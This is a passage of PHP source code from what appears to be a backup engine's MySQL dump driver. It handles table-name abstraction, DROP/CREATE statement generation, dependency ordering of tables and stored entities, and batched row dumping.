							{
								break;
							}

							$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
							$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

							// Catch quote escaped as \'
							if ($prevChar === '\\')
							{
								$quotePos = $nextPos;

								continue;
							}

							// Catch quote escaped as ''
							if ($nextChar === "'")
							{
								$quotePos = $nextPos + 1;

								continue;
							}

							$offset = $nextPos + 1;

							continue 2;
						}
					}

					// Skip over table-name-like strings in strings enclosed by double quotes
					$quotePos = strpos($tableSql, '"', $offset);

					if ($quotePos !== false && $quotePos < $pos)
					{
						// The table-like token is inside a string. Find its end.
						while (true)
						{
							$nextPos = strpos($tableSql, '"', $quotePos + 1);

							if ($nextPos === false)
							{
								break;
							}

							$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
							$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

							// Catch quote escaped as \"
							if ($prevChar === '\\')
							{
								$quotePos = $nextPos;

								continue;
							}

							// Catch quote escaped as ""
							if ($nextChar === '"')
							{
								$quotePos = $nextPos + 1;

								continue;
							}

							$offset = $nextPos + 1;

							continue 2;
						}
					}

					// Catch table-name-like substring inside another table's name
					$previousChar    = ($pos > 0) ? substr($tableSql, $pos - 1, 1) : '';
					$nextChar        = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength, 1) : '';
					$prevIsTableChar = $previousChar === '' ? false : preg_match($fullCharRegex, $previousChar);
					$nextIsTableChar = $nextChar === '' ? false : preg_match($fullCharRegex, $nextChar);

					if ($prevIsTableChar || $nextIsTableChar)
					{
						$offset = $pos + 1;

						continue;
					}

					$before = ($pos > 0) ? substr($tableSql, 0, $pos) : '';
					$after  = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength) : '';

					$numReplacements++;
					$tableSql = $before . $quotedAbstractName . $after;

					$offset = $pos + $quotedAbstractNameLength;
				}
			}

			if ($withDependecies && $numReplacements && ($fullName != $tableName))
			{
				// Add a reference hit
				$this->dependencies[$fullName][] = $tableName;
				// Add the dependency to this table's metadata
				$dependencies[] = $fullName;
			}
		}

		return [$dependencies, $tableSql];
	}

	/**
	 * Creates a drop query from a CREATE query
	 *
	 * @param   string  $query  The CREATE query to process
	 *
	 * @return  string  The DROP statement
	 */
	protected function createDrop($query)
	{
		$type = $this->getTypeFromCreateQuery($query);

		if (empty($type))
		{
			return '';
		}

		$marker         = ' ' . strtoupper(trim($type)) . ' ';
		$markerPosition = strpos($query, $marker);
		// Rest of query, after entity key string
		$restOfQuery = trim(substr($query, $markerPosition + strlen($marker)));

		// Is there a backtick?
		if (substr($restOfQuery, 0, 1) == '`')
		{
			// There is a backtick. Iterate character-by-character to find the ending backtick.
			$pos = 0;

			while (true)
			{
				$pos++;

				// We need visibility in both of the next characters to find escaped backticks.
				$thisChar = substr($restOfQuery, $pos, 1);
				$nextChar = substr($restOfQuery, $pos + 1, 1);

				// Did we reach the end of the string?
				if ($thisChar === false || $thisChar === '')
				{
					break;
				}

				// Two backticks side-by-side is an escaped backtick; skip over it
				if ($thisChar === '`' && $nextChar === '`')
				{
					$pos++;
					continue;
				}

				// Current char is a backtick, the next one is not, we found the ending backtick.
				if ($thisChar === '`' && $nextChar !== '`')
				{
					break;
				}
			}

			$entityName = substr($restOfQuery, 1, $pos - 1);
		}
		else
		{
			// Nope, let's assume the entity name ends in the next blank character.
			$pos        = strpos($restOfQuery, ' ', 1);
			$entityName = substr($restOfQuery, 0, $pos);
		}

		return sprintf(
			"DROP %s IF EXISTS %s;",
			strtoupper(trim($type)),
			$this->getDB()->nameQuote($entityName)
		);
	}

	/**
	 * Applies the SQL compatibility setting
	 *
	 * @return  void
	 */
	protected function enforceSQLCompatibility()
	{
		$db = $this->getDB();

		// Try to enforce SQL_BIG_SELECTS option
		try
		{
			$db->setQuery('SET sql_big_selects=1');
			$db->query();
		}
		catch (Exception $e)
		{
			// Do nothing; some versions of MySQL don't allow you to use the BIG_SELECTS option.
		}

		$db->resetErrors();
	}

	/**
	 * Return a list of columns and their data types.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  array  An array of table columns and their data types.
	 */
	protected function getColumnTypes($tableAbstract)
	{
		if ($this->lastTableColumnType == $tableAbstract)
		{
			return $this->columnListColumnType;
		}

		$this->lastTableColumnType = $tableAbstract;

		try
		{
			$db = $this->getDB();

			$db->setQuery('SHOW COLUMNS FROM ' . $db->qn($tableAbstract));

			$tableCols = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			return $this->columnListColumnType;
		}

		foreach ($tableCols as $col)
		{
			$typeParts                                 = explode('(', $col['Type'], 2);
			$this->columnListColumnType[$col['Field']] = strtoupper($typeParts[0]);
		}

		return $this->columnListColumnType;
	}

	/**
	 * Return the current database name by querying the database connection object (e.g. SELECT DATABASE() in MySQL)
	 *
	 * @return  string
	 */
	protected function getDatabaseNameFromConnection(): string
	{
		$db = $this->getDB();

		try
		{
			$ret = $db->setQuery('SELECT DATABASE()')->loadResult();
		}
		catch (Exception $e)
		{
			return '';
		}

		return empty($ret) ? '' : $ret;
	}

	/**
	 * Get the default database dump batch size from the configuration
	 *
	 * @return  int
	 */
	protected function getDefaultBatchSize()
	{
		static $batchSize = null;

		if (is_null($batchSize))
		{
			$configuration = Factory::getConfiguration();
			$batchSize     = intval($configuration->get('engine.dump.common.batchsize', 1000));

			if ($batchSize <= 0)
			{
				$batchSize = 1000;
			}
		}

		return $batchSize;
	}

	/**
	 * Get a regular expression and its options for valid characters of an unquoted MySQL identifier.
	 *
	 * This is used wherever we need to detect an arbitrary, unquoted MySQL identifier per
	 * https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
	 *
	 * Also what if Unicode support is not compiled in PCRE? In this case we will fall back to a much simpler regex
	 * which only supports the ASCII subset of the allowed characters. In this case your database dump will be wrong
	 * if you use table names with non-ASCII characters.
	 *
	 * Since the detection is horribly slow we cache its results in an internal static variable.
	 *
	 * @return  array  In the format [$regex, $flags]
	 * @since   7.0.0
	 */
	protected function getMySQLIdentifierCharacterRegEx()
	{
		static $validCharRegEx = null;
		static $unicodeFlag = null;

		if (is_null($validCharRegEx) || is_null($unicodeFlag))
		{
			$noUnicode      = @preg_match('/\p{L}/u', 'σ') !== 1;
			$unicodeFlag    = $noUnicode ? '' : 'u';
			$validCharRegEx = $noUnicode ? '[0-9a-zA-Z$_]' : '[0-9a-zA-Z$_]|[\x{0080}-\x{FFFF}]';
		}

		return [$validCharRegEx, $unicodeFlag];
	}

	/**
	 * Get the optimal row batch size for a given table based on the available memory
	 *
	 * @param   string  $tableAbstract     The abstract table name, e.g. #__foobar
	 * @param   int     $defaultBatchSize  The default row batch size in the application configuration
	 *
	 * @return  int
	 */
	protected function getOptimalBatchSize($tableAbstract, $defaultBatchSize)
	{
		$db = $this->getDB();

		try
		{
			$info = $db->setQuery('SHOW TABLE STATUS LIKE ' . $db->q($tableAbstract))->loadAssoc();
		}
		catch (Exception $e)
		{
			return $defaultBatchSize;
		}

		if (!isset($info['Avg_row_length']) || empty($info['Avg_row_length']))
		{
			return $defaultBatchSize;
		}

		// That's the average row size as reported by MySQL.
		$avgRow = str_replace([',', '.'], ['', ''], $info['Avg_row_length']);
		// The memory available for manipulating data is less than the free memory
		$memoryLimit = $this->getMemoryLimit();
		$memoryLimit = empty($memoryLimit) ? 33554432 : $memoryLimit;
		$usedMemory  = memory_get_usage();
		$memoryLeft  = 0.75 * ($memoryLimit - $usedMemory);
		// The 3.25 factor is empirical and leans on the safe side.
		$maxRows = (int) ($memoryLeft / (3.25 * $avgRow));

		return max(1, min($maxRows, $defaultBatchSize));
	}

	/**
	 * Gets the row count for table $tableAbstract. Also updates the $this->maxRange variable.
	 *
	 * @param   string  $tableAbstract  The abstract name of the table (works with canonical names too, though)
	 *
	 * @return  void
	 *
	 * @throws  QueryException
	 */
	protected function getRowCount($tableAbstract)
	{
		$db = $this->getDB();

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->nameQuote($tableAbstract));

		$errno = 0;
		$error = '';

		try
		{
			$db->setQuery($sql);
			$this->maxRange = $db->loadResult();

			if (is_null($this->maxRange))
			{
				$errno = $db->getErrorNum();
				$error = $db->getErrorMsg(false);
			}
		}
		catch (Exception $e)
		{
			$this->maxRange = null;
			$errno          = $e->getCode();
			$error          = $e->getMessage();
		}

		if (is_null($this->maxRange))
		{
			Factory::getLog()->warning("Cannot get number of rows of $tableAbstract. MySQL error $errno: $error");

			return;
		}

		Factory::getLog()->debug("Rows on " . $tableAbstract . " : " . $this->maxRange);
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		if ($this->lastTableSelectColumn == $tableAbstract)
		{
			return $this->columnListSelectColumn;
		}

		$this->lastTableSelectColumn = $tableAbstract;

		try
		{
			$db = $this->getDB();

			$db->setQuery('SHOW COLUMNS FROM ' . $db->qn($tableAbstract));

			$tableCols = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			return $this->columnListSelectColumn;
		}

		$totalColumns                 = is_array($tableCols) || $tableCols instanceof \Countable ? count($tableCols) : 0;
		$this->columnListSelectColumn = [];

		$hasInvisibleColumns = false;

		foreach ($tableCols as $col)
		{
			// Skip over generated columns
			$attribs = array_map('strtoupper', empty($col['Extra']) ? [] : explode(' ', $col['Extra']));

			if (in_array('GENERATED', $attribs))
			{
				continue;
			}

			if (in_array('INVISIBLE', $attribs))
			{
				$hasInvisibleColumns = true;
			}

			$this->columnListSelectColumn[] = $col['Field'];
		}

		if (!$hasInvisibleColumns && ($totalColumns == count($this->columnListSelectColumn)))
		{
			$this->columnListSelectColumn = '*';
		}

		return $this->columnListSelectColumn;
	}

	/**
	 * Scans the database for tables to be backed up and sorts them according to
	 * their dependencies on one another. Updates $this->dependencies.
	 *
	 * @return  void
	 */
	protected function getTablesToBackup(): void
	{
		// Makes the MySQL connection compatible with our class
		$this->enforceSQLCompatibility();

		$configuration = Factory::getConfiguration();
		$notracking    = $configuration->get('engine.dump.native.nodependencies', 0);

		// First, get a map of table names <--> abstract names
		$this->populateTableNameMap();

		if ($notracking)
		{
			// Do not process table & view dependencies
			$this->populateTablesDataWithoutDependencies();
		}
		// Process table & view dependencies (default)
		else
		{
			// Find the type and CREATE command of each table/view in the database
			$this->populateTablesData();

			// Process dependencies and rearrange tables respecting them
			$this->processDependencies();

			// Remove dependencies array
			$this->dependencies = [];
		}
	}

	/**
	 * Gets the CREATE TABLE command for a given table, view, procedure, event, function, or trigger.
	 *
	 * @param   string  $abstractName  The abstracted name of the entity.
	 * @param   string  $concreteName  The concrete (database) name of the entity.
	 * @param   string  $type          The type of the entity to scan. May be updated.
	 * @param   array   $dependencies  The dependencies of this entity.
	 *
	 * @return  string|null  The CREATE statement
	 */
	protected function getCreateStatement(
		string $abstractName, string $concreteName, string &$type, array &$dependencies
	): ?string
	{
		$db  = $this->getDB();
		$sql = sprintf("SHOW CREATE %s %s", strtoupper($type), $db->quoteName($abstractName));
		$db->setQuery($sql);

		try
		{
			$temp = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			// If the query failed we don't have the necessary SHOW privilege. Log the error and fake an empty reply.
			$entityType = ($type == 'merge') ? 'table' : $type;
			$msg        = $e->getMessage();
			Factory::getLog()->warning(
				"Cannot get the structure of $entityType $abstractName. Database returned error $msg running $sql  Please check your database privileges. Your database backup may be incomplete."
			);

			$db->resetErrors();

			$temp = [
				['', '', ''],
			];
		}

		$columnKey = 'Create ' . ucfirst(strtolower($type));
		$table_sql = $temp[0][$columnKey] ?? null;

		if ($table_sql === null)
		{
			$columnId  = $type === 'event' ? 3 : 2;
			$table_sql = array_values($temp[0])[$columnId] ?? null;
		}

		unset($temp);

		if (empty($table_sql))
		{
			Factory::getLog()->warning(
				"Cannot get the structure of $type $abstractName. The database refused to return the CREATE command for this $type. Please check your database privileges. Your database backup may be incomplete."
			);

			return null;
		}

		Factory::getLog()->debug(
			sprintf(
				'Got create for %s %s (internal name %s)',
				$type,
				$concreteName,
				$abstractName
			)
		);

		$isEntity = in_array($type, ['procedure', 'event', 'function', 'trigger']);
		$type     = (!$isEntity && $this->isCreateView($table_sql)) ? 'view' : $type;

		switch ($type)
		{
			case 'procedure':
			case 'event':
			case 'function':
			case 'trigger':
				$table_sql = $this->preProcessCreateSQLForEntity($table_sql, $type);
				break;

			case 'view':
				$table_sql = $this->preProcessCreateSQLForView($table_sql);
				break;

			case 'table':
			case 'merge':
			default:
				$table_sql = $this->preProcessCreateSQLForTable($table_sql);
		}

		$configuration = Factory::getConfiguration();
		$noTracking    = $configuration->get('engine.dump.native.nodependencies', 0);
		// On DB only backup we don't want to replace table / view / entity names with abstracts.
		$mustAbstractTableNames = Factory::getEngineParamsProvider()->getScriptingParameter('db.abstractnames', 1);

		/**
		 * Replace table name and names of referenced tables with their abstracted forms and populate dependency tables
		 * at the same time.
		 */
		if (!$mustAbstractTableNames)
		{
			$old_table_sql = $table_sql;
		}

		/**
		 * Abstract table names AND update dependency tracking information.
		 *
		 * Because this updates the tracking information we can not skip it when $mustAbstractTableNames is false. This
		 * is why we restore $table_sql in this case, and this case only.
		 *
		 * We have to quote the table name. If we don't we'll get wrong results. Imagine that you have a column whose
		 * name starts with the string literal of the table name itself.
		 *
		 * Example: table `poll`, column `poll_id` would become #__poll, #__poll_id
		 *
		 * By quoting before we make sure this won't happen.
		 */
		[$dependencies, $table_sql] = $this->replaceTableNamesWithAbstracts($concreteName, $table_sql, !$noTracking);

		if (!$mustAbstractTableNames)
		{
			$table_sql = $old_table_sql;
		}

		return $this->postProcessCreateSQL($table_sql, $type);
	}

	/**
	 * Populate the table and entities metadata.
	 *
	 * This method updates $this->tables_data with the metadata of MySQL tables, views, procedures, events, functions,
	 * and triggers. The metadata include the CREATE SQL statement, and whether to dump data.
	 *
	 * Moreover, the dependency information is generated as part of this process.
	 *
	 * @return  void
	 */
	protected function populateTablesData()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Starting CREATE TABLE and dependency scanning");

		// Get a database connection
		$db = $this->getDB();

		Factory::getLog()->debug(__CLASS__ . " :: Got database connection");

		// Reset internal tables
		$this->tables_data  = [];
		$this->dependencies = [];

		$registry = Factory::getConfiguration();

		// Get a list of tables where their engine type is shown
		$this->generateMetadataForTables();

		// If we have MySQL > 5.0 add stored procedures, events, functions and triggers
		$enable_entities = $registry->get('engine.dump.native.advanced_entitites', true);

		if ($enable_entities)
		{
			Factory::getLog()->debug(__CLASS__ . " :: Listing MySQL entities");

			$this->generateMetadataForEntity('procedure');
			$this->generateMetadataForEntity('event');
			$this->generateMetadataForEntity('function');
			$this->generateMetadataForEntity('trigger');

			Factory::getLog()->debug(__CLASS__ . " :: Got MySQL entities list");
		}
	}

	/**
	 * Populates the _tables array with the metadata of each table.
	 * Updates $this->tables_data and $this->tables.
	 *
	 * @return  void
	 */
	protected function populateTablesDataWithoutDependencies()
	{
		Factory::getLog()->debug(__CLASS__ . " :: Pushing table data (without dependency tracking)");

		// Reset internal tables
		$this->tables_data  = [];
		$this->dependencies = [];

		// Get filters and filter root
		$registry = Factory::getConfiguration();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');
		$filters  = Factory::getFilters();

		foreach ($this->table_name_map as $table_name => $table_abstract)
		{
			$new_entry = [
				'type'         => 'table',
				'dump_records' => true,
			];

			// Table Data Filter: skip dumping table contents of filtered out tables
			if ($filters->isFiltered($table_abstract, $root, 'dbobject', 'content'))
			{
				$new_entry['dump_records'] = false;
			}

			$this->tables_data[$table_name] = $new_entry;
			$this->tables[]                 = $table_name;
		}

		Factory::getLog()->debug(__CLASS__ . " :: Got table list");
	}

	/**
	 * Generate a map of table/entity names to their abstract versions.
	 *
	 * This method updates $this->table_name_map
	 *
	 * @return  void
	 */
	protected function populateTableNameMap(): void
	{
		// Get a database connection
		Factory::getLog()->debug(__CLASS__ . " :: Finding tables to include in the backup set");

		// Reset internal tables
		$this->table_name_map = [];

		$registry       = Factory::getConfiguration();
		$enableEntities = $registry->get('engine.dump.native.advanced_entitites', true);
		$noTracking     = $registry->get('engine.dump.native.nodependencies', 0);

		// Generate mapping for tables and views
		$this->generateMappingForEntities('table');

		/**
		 * If configured, we will process MySQL procedures, events, functions, and triggers.
		 *
		 * However, if dependency tracking is disabled we cannot do that, as we cannot guarantee that the result will
		 * be possible to be restored.
		 */
		if (!$enableEntities)
		{
			Factory::getLog()->debug(__CLASS__ . " :: NOT listing stored PROCEDUREs, FUNCTIONs and TRIGGERs (you told me not to)");
		}
		elseif ($noTracking != 0)
		{
			Factory::getLog()->debug(__CLASS__ . " :: NOT listing stored PROCEDUREs, FUNCTIONs and TRIGGERs (you have disabled dependency tracking, therefore I can't handle advanced entities)");
		}
		else
		{
			Factory::getLog()->debug(__CLASS__ . " :: Finding stored PROCEDUREs, EVENTs, FUNCTIONs and TRIGGERs to include in the backup set");

			$this->generateMappingForEntities('procedure');
			$this->generateMappingForEntities('event');
			$this->generateMappingForEntities('function');
			$this->generateMappingForEntities('trigger');
		}

		/**
		 * Store all abstract entity names (tables, views, triggers etc) into a volatile variable, so we can fetch
		 * it later when creating the databases.json file
		 */
		ksort($this->table_name_map);
		$registry->set('volatile.database.table_names', array_values($this->table_name_map));

		/**
		 * IMPORTANT -- DO NOT REMOVE
		 *
		 * We now need to reverse sort the table_name_map. This is of paramount importance in how the
		 * replaceTableNamesWithAbstracts method works. Consider the following case:
		 * foo_test_2 => #__test_2
		 * foo_test_20 => #__test_20
		 * If foo_test_2 comes before foo_test_2 (alpha sort) the CREATE command of foo_test_20 will end up as
		 * CREATE TABLE ``#__test_2`0` (...)
		 * instead of the correct
		 * CREATE TABLE `#__test_20` (...)
		 * That's because the first table replacement done there will be foo_test_2 => `#__test_2`. Ouch.
		 *
		 * By doing a reverse alpha sort on the keys we ENSURE that the longer table names which may be a superset of
		 * another table's name will always end up first on the list.
		 *
		 * In our example the first replacement made is foo_test_20 => `#__test_20`. When we reach the next possible
		 * replacement (foo_test_2) we no longer have the concrete table name foo_test_2 therefore we won't accidentally
		 * break the CREATE command.
		 *
		 * Of course the same replacement problem exists within VIEWs, TRIGGERs, PROCEDUREs and FUNCTIONs. Again, the
		 * reverse alpha sort by concrete table name solves this issue elegantly.
		 */
		krsort($this->table_name_map);
	}

	/**
	 * Process all table dependencies
	 *
	 * @return  void
	 */
	protected function processDependencies()
	{
		if (!is_countable($this->table_name_map) || !count($this->table_name_map))
		{
			Factory::getLog()->debug(__CLASS__ . " :: No dependencies to process");

			return;
		}

		foreach ($this->table_name_map as $table_name => $table_abstract)
		{
			$this->push_table($table_name);
		}

		Factory::getLog()->debug(__CLASS__ . " :: Processed dependencies");
	}

	/**
	 * Push an entity into the stack, taking dependencies into account.
	 *
	 * This method pushes an entity into the $this->tables stack, making sure it will appear after its dependencies.
	 * Other entities depending on it will eventually appear after it.
	 *
	 * WARNING! Circular dependencies WILL fail on restoration, unless they were only caused by foreign keys (checking
	 * foreign keys consistency is disabled during restoration). Anything else cannot be handled as it would require
	 * knowing the previous state(s) of the schema, replaying them during restoration. For what it's worth, this kind of
	 * circular dependencies won't work with phpMyAdmin, mysqldump etc. Circular references  are evil, insane, and
	 * should always be avoided!
	 *
	 * @param   string  $tableName   The canonical name of the table to push.
	 * @param   array   $stack       When called recursive, other views/tables previously processed to detect
	 *                               *ahem* dependency loops...
	 *
	 * @return  void
	 */
	protected function push_table($tableName, $stack = [], $currentRecursionDepth = 0)
	{
		if (!isset($this->tables_data[$tableName]))
		{
			return;
		}

		// Load information
		$table_data = $this->tables_data[$tableName];

		if (array_key_exists('dependencies', $table_data))
		{
			$referenced = $table_data['dependencies'];
		}
		else
		{
			$referenced = [];
		}

		unset($table_data);

		// Try to find the minimum insert position, so as to appear after the last referenced table
		$insertpos = false;

		if (is_array($referenced) || $referenced instanceof \Countable ? count($referenced) : 0)
		{
			foreach ($referenced as $referenced_table)
			{
				if (is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0)
				{
					$newpos = array_search($referenced_table, $this->tables);

					if ($newpos !== false)
					{
						if ($insertpos === false)
						{
							$insertpos = $newpos;
						}
						else
						{
							$insertpos = max($insertpos, $newpos);
						}
					}
				}
			}
		}

		// Add to the tables array
		if ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) && ($insertpos !== false))
		{
			array_splice($this->tables, $insertpos + 1, 0, $tableName);
		}
		else
		{
			$this->tables[] = $tableName;
		}

		// Here's what... Some other table/view might depend on us, so we must appear
		// before it (actually, it must appear after us). So, we scan for such
		// tables/views and relocate them
		if (is_array($this->dependencies) || $this->dependencies instanceof \Countable ? count($this->dependencies) : 0)
		{
			if (array_key_exists($tableName, $this->dependencies))
			{
				foreach ($this->dependencies[$tableName] as $depended_table)
				{
					// First, make sure that either there is no stack, or the
					// depended table doesn't belong it. In any other case, we
					// were fooled to follow an endless dependency loop and we
					// will simply bail out and let the user sort things out.
					if (count($stack) > 0)
					{
						if (in_array($depended_table, $stack))
						{
							continue;
						}
					}

					$my_position     = array_search($tableName, $this->tables);
					$remove_position = array_search($depended_table, $this->tables);

					if (($remove_position !== false) && ($remove_position < $my_position))
					{
						$stack[] = $tableName;
						array_splice($this->tables, $remove_position, 1);

						// Where should I put the other table/view now? Don't tell me.
						// I have to recurse...
						if ($currentRecursionDepth < 19)
						{
							$this->push_table($depended_table, $stack, ++$currentRecursionDepth);
						}
						else
						{
							// We're hitting a circular dependency. We'll add the removed $depended_table
							// in the penultimate position of the table and cross our virtual fingers...
							array_splice($this->tables, (is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) - 1, 0, $depended_table);
						}
					}
				}
			}
		}
	}

	/**
	 * Detect the auto_increment field of the table being currently backed up.
	 *
	 * This method populates the $this->table_autoincrement array.
	 *
	 * @return  void
	 */
	protected function setAutoIncrementInfo()
	{
		$this->table_autoincrement = [
			'table' => $this->nextTable,
			'field' => null,
			'value' => null,
		];

		$db = $this->getDB();

		$query   = 'SHOW COLUMNS FROM ' . $db->qn($this->nextTable) . ' WHERE ' . $db->qn('Extra') . ' = ' .
		           $db->q('auto_increment') . ' AND ' . $db->qn('Null') . ' = ' . $db->q('NO');
		$keyInfo = $db->setQuery($query)->loadAssocList();

		if (!empty($keyInfo))
		{
			$row                                = array_shift($keyInfo);
			$this->table_autoincrement['field'] = $row['Field'];
		}
	}

	/**
	 * Performs one more step of dumping database data
	 *
	 * @return  void
	 *
	 * @throws  QueryException
	 * @throws  Exception
	 */
	protected function stepDatabaseDump(): void
	{
		// Initialize local variables
		$db = $this->getDB();

		if (!is_object($db) || ($db === false))
		{
			throw new RuntimeException(__CLASS__ . '::_run() Could not connect to database?!');
		}

		$outData = ''; // Used for outputting INSERT INTO commands

		$this->enforceSQLCompatibility(); // Apply MySQL compatibility option

		// Touch SQL dump file
		$nada = "";
		$this->writeline($nada);

		// Get this table's information
		$tableName = $this->nextTable;
		$this->setStep($tableName);
		$this->setSubstep('');
		$tableAbstract = trim($this->table_name_map[$tableName]);
		$dump_records  = $this->tables_data[$tableName]['dump_records'];

		// Restore any previously information about the largest query we had to run
		$this->largest_query = Factory::getConfiguration()->get('volatile.database.largest_query', 0);

		// If it is the first run, find number of rows and get the CREATE TABLE command
		if ($this->nextRange == 0)
		{
			$outCreate = '';

			if (is_array($this->tables_data[$tableName]))
			{
				if (array_key_exists('create', $this->tables_data[$tableName]))
				{
					$outCreate = $this->tables_data[$tableName]['create'];
				}
			}

			if (empty($outCreate) && !empty($tableName))
			{
				// The CREATE command wasn't cached. Time to create it. The $type and $dependencies
				// variables will be thrown away.
				$type         = $this->tables_data[$tableName]['type'] ?? 'table';
				$dependencies = [];
				$outCreate    = $this->getCreateStatement($tableAbstract, $tableName, $type, $dependencies);
			}

			// Create drop statements if required (the key is defined by the scripting engine)
			if (!empty($outCreate) && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				if (array_key_exists('create', $this->tables_data[$tableName]))
				{
					$dropStatement = $this->createDrop($this->tables_data[$tableName]['create']);
				}
				else
				{
					$type            = 'table';
					$createStatement = $this->getCreateStatement($tableAbstract, $tableName, $type, $dependencies);
					$dropStatement   = $this->createDrop($createStatement);
				}

				if (!empty($dropStatement))
				{
					$dropStatement .= "\n";

					if (!$this->writeDump($dropStatement, true))
					{
						return;
					}
				}
			}

			/**
			 * If we have a PROCEDURE, FUNCTION or TRIGGER and we are doing a SQL export meant to be run directly by
			 * MySQL (the scripting db.delimiterstatements flag is set to 1) we need to surround the CREATE statement
			 * with DELIMITER $$ commands.
			 */
			if (
				!empty($outCreate) &&
				(Factory::getEngineParamsProvider()->getScriptingParameter('db.delimiterstatements', 0) == 1)
				&& in_array($this->tables_data[$tableName]['type'], ['trigger', 'function', 'event', 'procedure'])
			)
			{
				$outCreate = rtrim($outCreate, ";\n");
				$outCreate = "DELIMITER $$\n$outCreate$$\nDELIMITER ;\n";
			}

			// Write the CREATE command after any DROP command which might be necessary.
			if (!empty($outCreate) && !$this->writeDump($outCreate, true))
			{
				return;
			}

			if (!empty($outCreate) && $dump_records)
			{
				// We are dumping data from a table, get the row count
				$this->getRowCount($tableAbstract);

				// If we can't get the row count we cannot back up this table's data
				if (is_null($this->maxRange))
				{
					$dump_records = false;
				}
			}
			elseif (!$dump_records)
			{
				/**
				 * Do NOT move this line to the if-block below. We need to only log this message on tables which are
				 * filtered, not on tables we simply cannot get the row count information for!
				 */
				Factory::getLog()->info("Skipping dumping data of " . $tableAbstract);
			}

			// The table is either filtered or we cannot get the row count. Either way we should not dump any data.
			if (!$dump_records || empty($outCreate))
			{
				$this->maxRange  = 0;
				$this->nextRange = 1;
				$outData         = '';
				$numRows         = 0;
				$dump_records    = false;
			}

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($dump_records && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				Factory::getLog()->debug("Writing data dump preamble for " . $tableAbstract);
				$preamble = $this->getDataDumpPreamble($tableAbstract, $tableName, $this->maxRange);

				if (!empty($preamble))
				{
					if (!$this->writeDump($preamble, true))
					{
						return;
					}
				}
			}

			// Get the table's auto increment information
			if ($dump_records)
			{
				$this->setAutoIncrementInfo();
			}
		}

		// Load the active database root
		$configuration = Factory::getConfiguration();
		$dbRoot        = $configuration->get('volatile.database.root', '[SITEDB]');

		// Get the default and the current (optimal) batch size
		$defaultBatchSize = $this->getDefaultBatchSize();
		$batchSize        = $configuration->get('volatile.database.batchsize', $defaultBatchSize);

		// Check if we have more work to do on this table
		if (($this->nextRange < $this->maxRange))
		{
			$timer = Factory::getTimer();

			// Get the number of rows left to dump from the current table
			$columns         = $this->getSelectColumns($tableAbstract);
			$columnTypes     = $this->getColumnTypes($tableAbstract);
			$columnsForQuery = is_array($columns) ? array_map([$db, 'qn'], $columns) : $columns;
			$sql             = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
				->select($columnsForQuery)
				->from($db->nameQuote($tableAbstract));

			if (!is_null($this->table_autoincrement['field']))
			{
				$sql->order($db->qn($this->table_autoincrement['field']) . ' ASC');
			}

			if ($this->nextRange == 0)
			{
				// Get the optimal batch size for this table and save it to the volatile data
				$batchSize = $this->getOptimalBatchSize($tableAbstract, $defaultBatchSize);
				$configuration->set('volatile.database.batchsize', $batchSize);

				// First run, get a cursor to all records
				$db->setQuery($sql, 0, $batchSize);
				Factory::getLog()->info("Beginning dump of " . $tableAbstract);
				Factory::getLog()->debug("Up to $batchSize records will be read at once.");
			}
			else
			{
				// Subsequent runs, get a cursor to the rest of the records
				$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);

				// If we have an auto_increment value and the table has over $batchsize records use the indexed select instead of a plain limit
				if (!is_null($this->table_autoincrement['field']) && !is_null($this->table_autoincrement['value']))
				{
					Factory::getLog()
						->info("Continuing dump of " . $tableAbstract . " from record #{$this->nextRange} using auto_increment column {$this->table_autoincrement['field']} and value {$this->table_autoincrement['value']}");
					$sql->where($db->qn($this->table_autoincrement['field']) . ' > ' . $db->q($this->table_autoincrement['value']));
					$db->setQuery($sql, 0, $batchSize);
				}
				else
				{
					Factory::getLog()
						->info("Continuing dump of " . $tableAbstract . " from record #{$this->nextRange}");
					$db->setQuery($sql, $this->nextRange, $batchSize);
				}
			}

			$this->query  = '';
			$numRows      = 0;
			$use_abstract = Factory::getEngineParamsProvider()->getScriptingParameter('db.abstractnames', 1);

			$filters            = Factory::getFilters();
			$mustFilterRows     = $filters->hasFilterType('dbobject', 'children');
			$mustFilterContents = $filters->canFilterDatabaseRowContent();

			try
			{
				$cursor = $db->query();
			}
			catch (Exception $exc)
			{
				// Issue a warning about the failure to dump data
				$errno = $exc->getCode();
				$error = $exc->getMessage();
				Factory::getLog()->warning("Failed dumping $tableAbstract from record #{$this->nextRange}. MySQL error $errno: $error");

				// Reset the database driver's state (we will try to dump other tables anyway)
				$db->resetErrors();
				$cursor = null;

				// Mark this table as done since we are unable to dump it.
				$this->nextRange = $this->maxRange;
			}

			$statsTableAbstract = Platform::getInstance()->tableNameStats;

			while (is_array($myRow = $db->fetchAssoc()) && ($numRows < ($this->maxRange - $this->nextRange)))
			{
				if ($this->createNewPartIfRequired() == false)
				{
					/**
